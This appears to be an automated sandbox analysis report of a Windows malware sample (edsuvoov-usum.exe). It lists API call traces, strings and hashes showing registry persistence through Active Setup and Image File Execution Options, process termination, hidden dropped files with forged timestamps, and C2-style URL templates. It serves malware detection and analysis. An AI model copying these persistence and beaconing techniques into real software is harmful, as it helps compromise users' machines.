API String ID: 100882886-0
Opcode ID: b7f9b6983554d85f1a8aab1ab593689c95d43d7b1e444df01979bc57f6b5053e
Instruction ID: 73937d086646344abc5379455c301a867b7dd6fe10e46ef3d999f35736dc2ecf
Opcode Fuzzy Hash: b7f9b6983554d85f1a8aab1ab593689c95d43d7b1e444df01979bc57f6b5053e
Instruction Fuzzy Hash: 09E0EC719101049BC7013B78AE4EA153F74AF0530AF098075E9066A1BBE67A993CA69A

Function 00401CC1 Relevance: 1.5, APIs: 1, Instructions: 40registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00411009,00000004,?,00405F35), ref: 00401D25

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: cb3a058cf70e81167843520c46fb0466aa5eec9e791d9ce5bf6ab9d735437fae
Instruction ID: 52816088567a2a1d922fdabb556b33062536571a2cef852fce66200631c346e0
Opcode Fuzzy Hash: cb3a058cf70e81167843520c46fb0466aa5eec9e791d9ce5bf6ab9d735437fae
Instruction Fuzzy Hash: 36F0E9B174030417F7305518EC81B7B7799EFD436AF10503AFB09967D0E1795C5986AE

Non-executed Functions

Function 004016E1 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,0040228C), ref: 00401720
lstrlenA.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 00401751
lstrcatA.KERNEL32(?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 0040177F
RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?), ref: 00401795
RegQueryValueExA.ADVAPI32(?,ProxyEnable,00000000,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004017D2
RegOpenKeyExA.ADVAPI32(?,Connections,00000000,00020019,?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 00401817
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,00001000), ref: 0040189E
RegCloseKey.ADVAPI32(?), ref: 004018BD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004018CF
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004018E8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 004018FF

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401716
Connections, xrefs: 0040180B
_Classes, xrefs: 00401762
ProxyEnable, xrefs: 004017C6
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401779

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Close$EnumOpenValue$CreateQuerylstrcatlstrlen
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 1447802672-1466506419
Opcode ID: 808dc75fde213c51738dab8c61e00dc01c436320e1f715c5742faa912a255552
Instruction ID: 66e194334fdec41dc41c183a83ee0e0423d2cbbda799cea80f6bf4481fa86f55
Opcode Fuzzy Hash: 808dc75fde213c51738dab8c61e00dc01c436320e1f715c5742faa912a255552
Instruction Fuzzy Hash: 2941EEB2904344AAF73176219C0AF9B7B9C9B44348F14443FFE88B51D3E279962CC667

Function 0040151E Relevance: 15.1, APIs: 10, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004049C8,?,00000100,?,?,00000104), ref: 00401549
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,00000100,?,?,00000104), ref: 0040156D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,?,00000100), ref: 00401588
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004015F1
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401601
CloseHandle.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080,00000000), ref: 00401607
DeleteFileA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000080), ref: 0040160D

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 41ed5e2b111f1504c4f2cfafdd4510ffd4951226a2c659f90d2f2fbe674caf25
Instruction ID: ead9107263b76718dec6335517b8b67c7343bef8d8983c19364d90e74fa0285a
Opcode Fuzzy Hash: 41ed5e2b111f1504c4f2cfafdd4510ffd4951226a2c659f90d2f2fbe674caf25
Instruction Fuzzy Hash: 8021A1B1A802007AE53031757C03F5B369C8B84758F190A3BFE06B91D6F5BDE62941AF

Function 004024CE Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 123stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00402520
lstrcpyA.KERNEL32(?,?), ref: 00402551
wsprintfA.USER32 ref: 004025A7
wsprintfA.USER32 ref: 004025C5
wsprintfA.USER32 ref: 00402620

Strings

http://%s.biz/d/G?, xrefs: 0040259F, 00402618
p!A, xrefs: 00402632
%02X, xrefs: 004025BF

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?$p!A
API String ID: 1876335253-3368850760
Opcode ID: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction ID: 2cea46374afef77fdc915a1e9f7db235c3865f046913e12eac0c1d1ce8585de9
Opcode Fuzzy Hash: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction Fuzzy Hash: 4F410331C002189BDB11EF68CD8979EBBF5BF40308F150176E815BB2D2D3B9A919C799

Function 0040350B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24registrysleepCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003), ref: 00403526
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,?,00000012), ref: 00403543
Sleep.KERNEL32(00001388,00000012), ref: 00403550

Strings

Default Flags, xrefs: 00403520, 00403538

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Value$Sleep
String ID: Default Flags
API String ID: 3593280086-1793642065
Opcode ID: 21d0f87f3dbcf3fc67c84d5afca7e09b8c8d69fca2a39a5828c1e487fc111c3c
Instruction ID: c183a8bf8b1eb437f9bd20ceed0a90573d3401291b8ece137b7e57e0eade4e67
Opcode Fuzzy Hash: 21d0f87f3dbcf3fc67c84d5afca7e09b8c8d69fca2a39a5828c1e487fc111c3c
Instruction Fuzzy Hash: 68E04F71A8030472D7712639AE4BF477A3467A1B09F11007BB906398C7A5B51329D9AA

Function 00402471 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004024A3

Part of subcall function 00402030: lstrcpyA.KERNEL32(?,?), ref: 00402065
Part of subcall function 00402030: lstrlenA.KERNEL32(00000000,?), ref: 0040206E
Part of subcall function 00402030: htons.WS2_32(00000000), ref: 004020C9
Part of subcall function 00402030: socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
Part of subcall function 00402030: closesocket.WS2_32(00000000), ref: 00402169
Part of subcall function 00402030: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7

Part of subcall function 00401D38: InternetCloseHandle.WININET(?), ref: 00401D49
Part of subcall function 00401D38: InternetCloseHandle.WININET(00000000), ref: 00401D51

Strings

http://%s/d/rpt?%s, xrefs: 00402499
12@, xrefs: 00402487, 00402498
urlinj_creat, xrefs: 00402473

Memory Dump Source

Source File: 00000001.00000002.3817436842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3817400178.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817514137.0000000000407000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817575956.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.3817611138.0000000000412000.00000004.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Internet$Option$CloseHandle$Openclosesockethtonslstrcpylstrlensocketwsprintf
String ID: 12@$http://%s/d/rpt?%s$urlinj_creat
API String ID: 2941392982-2858504077
Opcode ID: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction ID: 88ec9d7906897b8114724b1b79faff9a7f04a0d329b8cb3f5de5d04a505f717c
Opcode Fuzzy Hash: f9e1d899c8cb631e133cdf2d4e1ab3e6813410de5d1cdf2efe6631ca7b0b0578
Instruction Fuzzy Hash: ECE06DB160525017E310B669AC86BDB268C9B44388F50453EBB49B32C6E9BDAC4086AA

Analysis Process: edsuvoov-usum.exePID: 8032, Parent PID: 8004COMMON

Executed Functions

Function 00403A19 Relevance: 533.2, APIs: 282, Strings: 21, Instructions: 2982registrystringfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00403A27
GetVersionExA.KERNEL32(004120D0), ref: 00403A43
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00403A74
GetProcAddress.KERNEL32(00000000,00407014), ref: 00403AA2
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00403ACC
GetCommandLineA.KERNEL32(00000104), ref: 00403AD4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00403AF2
GetCurrentProcessId.KERNEL32 ref: 00403B09
Process32First.KERNEL32(?,?), ref: 00403B32
OpenProcess.KERNEL32(00100000,00000000,?), ref: 00403B6A
CloseHandle.KERNEL32(?,?,?), ref: 00403B7B
Process32Next.KERNEL32(?,?), ref: 00403B94
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00403BAC
CloseHandle.KERNEL32(00000000,000000FF), ref: 00403BB5
GetStartupInfoA.KERNEL32(?), ref: 00403BC2
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00403BE9
ExitProcess.KERNEL32(00000000), ref: 00403BF6
GetProcAddress.KERNEL32(00000000,0040702B), ref: 00403C23
LoadLibraryA.KERNEL32(0040703E,?,?,?,?,?,?,?,00000104), ref: 00403C86
GetProcAddress.KERNEL32(00000000,00407048), ref: 00403C96
GetProcAddress.KERNEL32(00000000,00407060), ref: 00403CA6
GetProcAddress.KERNEL32(00000000,00407075), ref: 00403CB6
GetProcAddress.KERNEL32(00000000,00407086), ref: 00403CC6
GetProcAddress.KERNEL32(00000000,00407099), ref: 00403D13
GetProcAddress.KERNEL32(00000000,004070AC), ref: 00403D2E
CloseHandle.KERNEL32(?), ref: 00403E2B
GetProcAddress.KERNEL32(00000000,004070C4), ref: 00403E50
GetCurrentProcessId.KERNEL32(?,?,?,?,00000104), ref: 00403E7F
WSAStartup.WS2_32(00000002,?), ref: 00403E97
GetTickCount.KERNEL32 ref: 00403E9F
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00000104), ref: 00403EA6
GetCurrentThreadId.KERNEL32 ref: 00403EAD
LoadLibraryA.KERNEL32(004070D7,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00403EDA
GetProcAddress.KERNEL32(00000000,004070E4), ref: 00403F01
LoadLibraryA.KERNEL32(004070F8), ref: 00403F34
GetProcAddress.KERNEL32(00000000,00407105), ref: 00403F5B
LoadLibraryA.KERNEL32(004071C0), ref: 00403FD9
GetProcAddress.KERNEL32(00000000,004071CC), ref: 00404042
GetProcAddress.KERNEL32(00000000,004071DA), ref: 00404052
GetProcAddress.KERNEL32(00000000,004071EB), ref: 00404062
GetProcAddress.KERNEL32(00000000,004071FC), ref: 00404072
GetProcAddress.KERNEL32(00000000,0040720F), ref: 00404082
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404347
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000), ref: 00404366
ReadFile.KERNEL32(?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404386
CloseHandle.KERNEL32(?,?,004120C0,00000010,?,00000000,?,?,00000002,00000000), ref: 00404392
lstrcmpiA.KERNEL32(00000000,007D0BC0), ref: 0040445F
wsprintfA.USER32 ref: 004044BC
CreateMutexA.KERNEL32(0040F4FC,00000001,0040F48A,?,?,?,?,?,?,?,?,00000000), ref: 004044D0
GetLastError.KERNEL32(0040F48A,?,?,?,?,0040F48A,?,?,?,?,?,?,?,?,00000000), ref: 004044E4
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,0040F48A,?,?,?,?,0040F48A), ref: 00404506
RegDeleteValueA.ADVAPI32(00000000,0040751C,?,?,?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 00404532
RegCloseKey.ADVAPI32(?,0040751C,?,?,?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 0040453E
GetCurrentProcessId.KERNEL32(?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 0040456E
Process32First.KERNEL32(00000000,?), ref: 0040458C
lstrcmpiA.KERNEL32(00000000,007D0BC0), ref: 004045C1
OpenProcess.KERNEL32(00100201,00000000,?), ref: 004045DE
Process32Next.KERNEL32(00000000,?), ref: 00404603
CloseHandle.KERNEL32(00000000), ref: 00404613
SetPriorityClass.KERNEL32(?,00000040), ref: 00404633
TerminateProcess.KERNEL32(?,00000000), ref: 00404658
WaitForSingleObject.KERNEL32(007D0BC1,00001388), ref: 0040468F
CloseHandle.KERNEL32(007D0BC1,00001388), ref: 00404698
SetFileAttributesA.KERNEL32(?,00000080), ref: 004046BC
DeleteFileA.KERNEL32(?,00000080), ref: 004046C5
RegOpenKeyExA.ADVAPI32(80000001,0040F4A0,00000000,00020019,?,?,?,?,?,?,?,?,0040F48A), ref: 004046F4
RegCreateKeyExA.ADVAPI32(80000002,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040472B
RegQueryValueExA.ADVAPI32(?,0040F4EE,00000000,00000000,00412170,?,?,?,0040F4FC,?,00000000), ref: 00404766
RegSetValueExA.ADVAPI32(?,0040F4EE,00000000,00000003,00412170,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00404790
RegCloseKey.ADVAPI32(?,00000012,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004047A1
RegDeleteKeyA.ADVAPI32(80000002,0040F4A0), ref: 004047BA
RegCloseKey.ADVAPI32(?,?,?,?,0040F4FC,?,00000000), ref: 004047CC
ExitProcess.KERNEL32(00000000,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 004047E2
CloseHandle.KERNEL32(?,?,?,?,0040F48A,?,?,?,?,0040F48A), ref: 00404804
RegCreateKeyExA.ADVAPI32(80000002,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 0040484E
RegCreateKeyExA.ADVAPI32(80000001,0040F4A0,00000000,00000000,00000000,000F003F,0040F4FC,?,00000000), ref: 0040487A
RegQueryValueExA.ADVAPI32(?,0040F508,00000000,00000000,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 004048B1
RegSetValueExA.ADVAPI32(?,0040F508,00000000,00000003,004120C4,0000000C,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 004048D7
RegCloseKey.ADVAPI32(?,?,?,?,004120C4,?,?,?,0040F4FC,?,00000000,?,?,?,0040F48A), ref: 004048E9
ExpandEnvironmentStringsA.KERNEL32(00407347,?,00000104,?,?,?,?,?,?,?,004120C4,?,?,?,0040F4FC,?), ref: 00404906
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404925
GetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404954
CloseHandle.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,004120C4,?), ref: 00404963
GetSystemDirectoryA.KERNEL32(?,00000100), ref: 00404998
lstrcatA.KERNEL32(?,00411030,?,00000100,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 004049A9
lstrcatA.KERNEL32(00000000,007D0BC0,?,00411030,?,00000100,?,?,00000104), ref: 004049B0
lstrcpyA.KERNEL32(?,00407351,?,?,?,?,?,?,00000104), ref: 004049E6
lstrcatA.KERNEL32(00000000,007D0BC0,?,00407351,?,?,?,?,?,?,00000104), ref: 004049ED
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,00407351,?,?,?,?,?,?,00000104), ref: 004049FC
lstrcpyA.KERNEL32(?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A2B
lstrcatA.KERNEL32(00000000,007D0BC0,?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A32
ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,?,?,0040736E,?,?,?,?,?,?,?,?,?,00407351), ref: 00404A48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404A8F
SetFilePointer.KERNEL32(00000000,000000F0,00000000,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AA9
WriteFile.KERNEL32(00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC3
CloseHandle.KERNEL32(00000000,00000000,004120C0,00000004,?,00000000,?,?,00000002,00000000,?,?,00000100,?,?,00000104), ref: 00404AC9
CreateFileA.KERNEL32(?,80000100,00000001,00000000,00000003,00000000,00000000,?,?,00000100,?,?,00000104), ref: 00404AF2
SetFileTime.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B1E
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?,00000100,?,?,00000104), ref: 00404B27
SetFileAttributesA.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B3C
CloseHandle.KERNEL32(?,00000021,?,?,?,00000100,?,?,00000104), ref: 00404B48
GetStartupInfoA.KERNEL32(?), ref: 00404B55
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00404B75
ExitProcess.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,00000100,?,?,00000104), ref: 00404B7F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000104), ref: 00404BA5
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404BC3
ReadFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404BF8
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 00404C04
CreateThread.KERNEL32(00000000,00001000,00401379,?,00000000,?), ref: 00404C3F
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,00000104,?,?,?,?,?,?,?,004120C4,?), ref: 00404C48
RegCreateKeyA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe,?), ref: 00404C95
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404CB5
lstrcatA.KERNEL32(?,00411030,?,00000104,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404CC6
lstrcatA.KERNEL32(00000000,007D0AF8,?,00411030,?,00000104), ref: 00404CCD
CreateMutexA.KERNEL32(00000000,00000000,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404CF3
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00000104), ref: 00404D0F
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00000104), ref: 00404D1E
Sleep.KERNEL32(000007D0,?,?,?,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404D30
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{9703941E-446E-952F-954A-3DA8A91ED84F},?,?,00000104), ref: 00404D48
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404D63
WriteFile.KERNEL32(00000000,0040F580,00000C00,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404D9D
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 00404E01
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404E3B
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00404E74
SetFileTime.KERNEL32(?,?,?,?), ref: 00404EA9
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00404EB8
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404ED7
RegDeleteValueA.ADVAPI32(?,00407379,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 00404EEB
lstrlenA.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00404F03
RegSetValueExA.ADVAPI32(?,00407379,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F1E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 00404F42
GetComputerNameA.KERNEL32(?,?), ref: 00404F72
lstrcpyA.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404F98
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404FB5
lstrcatA.KERNEL32(?,?), ref: 00404FD2
lstrlenA.KERNEL32(?), ref: 00404FDE
wsprintfA.USER32 ref: 00405088
lstrcpyA.KERNEL32(?,SOFTWARE\Microsoft\Active Setup\Installed Components\), ref: 004050C3
lstrcatA.KERNEL32(00000000,{4D415259-4a4f-4e45-5334-4D4152594a4f},?,SOFTWARE\Microsoft\Active Setup\Installed Components\), ref: 004050CE
RegCreateKeyA.ADVAPI32(80000002,?,?), ref: 004050E4
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040510D
lstrcatA.KERNEL32(?,00411030), ref: 0040511E
lstrcatA.KERNEL32(00000000,007D0AA8,?,00411030), ref: 00405125
CreateMutexA.KERNEL32(00000000,00000000,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 0040514B
WaitForSingleObject.KERNEL32(00000000,00002710,?,?,?,?,?,00411030), ref: 00405167
CloseHandle.KERNEL32(?,00002710,?,?,?,?,?,00411030), ref: 00405176
Sleep.KERNEL32(000007D0,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 00405188
SetFileAttributesA.KERNEL32(?,00000080,?,?,?,?,?,?,?,?,{10F5781A-0D97-0F99-EF77-BA382916E579},?,?,00411030), ref: 004051A0
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 004051BB
WriteFile.KERNEL32(00000000,00410200,00000800,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 004051F5
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,?,?,?,00000080,00000000), ref: 0040525A
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00405291
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 004052CB
SetFileTime.KERNEL32(?,?,?,?), ref: 00405300
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 0040530F
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 0040532E
RegSetValueExA.ADVAPI32(?,00407382,00000000,00000004,00000001,00000004,?,?,?,?,?,00000000,00000000), ref: 0040536A
lstrlenA.KERNEL32(?,00000004,?,?,?,?,?,00000000,00000000,?,?,?,?,?,?,?), ref: 00405373
RegSetValueExA.ADVAPI32(?,0040738E,00000000,00000001,?,00000001,?,?,?,?,?,?,?,?,?,00000000), ref: 0040538E
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,00000080,00000000), ref: 004053B2
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 004053C7
RegDeleteValueA.ADVAPI32(00000000,0040751C), ref: 004053F3
RegCloseKey.ADVAPI32(?,0040751C), ref: 00405402
lstrcmpiA.KERNEL32(?), ref: 00405445
lstrcmpiA.KERNEL32(?,?), ref: 00405464
SetFileAttributesA.KERNEL32(?,00000080), ref: 00405480
DeleteFileA.KERNEL32(?,00000080), ref: 00405489
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004054B0
GetFileSize.KERNEL32(00000000,00000000), ref: 004054CE
CloseHandle.KERNEL32(?), ref: 004054ED
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040551E
lstrcpyA.KERNEL32(?), ref: 004055C0
lstrcpyA.KERNEL32(?,?,?), ref: 004055D5
ExpandEnvironmentStringsA.KERNEL32(0040736E,?,00000104,?,?,?), ref: 00405610
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104,?,?,?), ref: 0040562C
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000104,?,?,?), ref: 0040564B
GetTempPathA.KERNEL32(00000104,?,?,?,00000104,?,?,?), ref: 00405673
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,?,?,?,?,00000104,?,?,?), ref: 00405693
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,00000104,?,?,?), ref: 004056B6
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056EA
CloseHandle.KERNEL32(?,?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000104), ref: 004056F6
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00000000), ref: 00405715
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00405760
